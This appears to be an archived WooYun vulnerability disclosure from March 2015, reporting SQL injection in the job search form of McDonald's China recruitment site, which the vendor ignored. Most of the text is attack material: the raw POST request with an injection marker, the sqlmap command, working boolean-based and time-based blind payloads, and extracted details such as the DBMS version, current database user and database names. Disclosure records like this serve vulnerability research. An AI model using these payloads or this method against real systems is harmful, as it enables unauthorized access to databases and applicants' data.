乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-15: 细节已通知厂商并且等待厂商处理中 2015-03-20: 厂商已经主动忽略漏洞,细节向公众公开
http://520.mcdonalds.com.cn/Index/Job处搜索框注入
POST /List/Job HTTP/1.1Host: 520.mcdonalds.com.cnProxy-Connection: keep-aliveContent-Length: 56Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://520.mcdonalds.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0Content-Type: application/x-www-form-urlencodedDNT: 1Referer: http://520.mcdonalds.com.cn/List/JobAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8province=130000&city=130300&restName=*&addr=&x=56&y=12
python sqlmap.py -r 1.txt --current-user -v 0 --dbscustom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: province=130000&city=130300&restName=%' AND 9381=9381 AND '%'='&addr=&x=56&y=12 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query) Payload: province=130000&city=130300&restName=%' AND 6802=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='&addr=&x=56&y=12---web server operating system: Windowsweb application technology: ASP.NET, ASP.NET 4.0.30319back-end DBMS: Microsoft SQL Server 2005current user: 'java'available databases [5]:[*] master[*] mcdhire[*] model[*] msdb[*] tempdb
危害等级:无影响厂商忽略
忽略时间:2015-03-20 15:08
暂无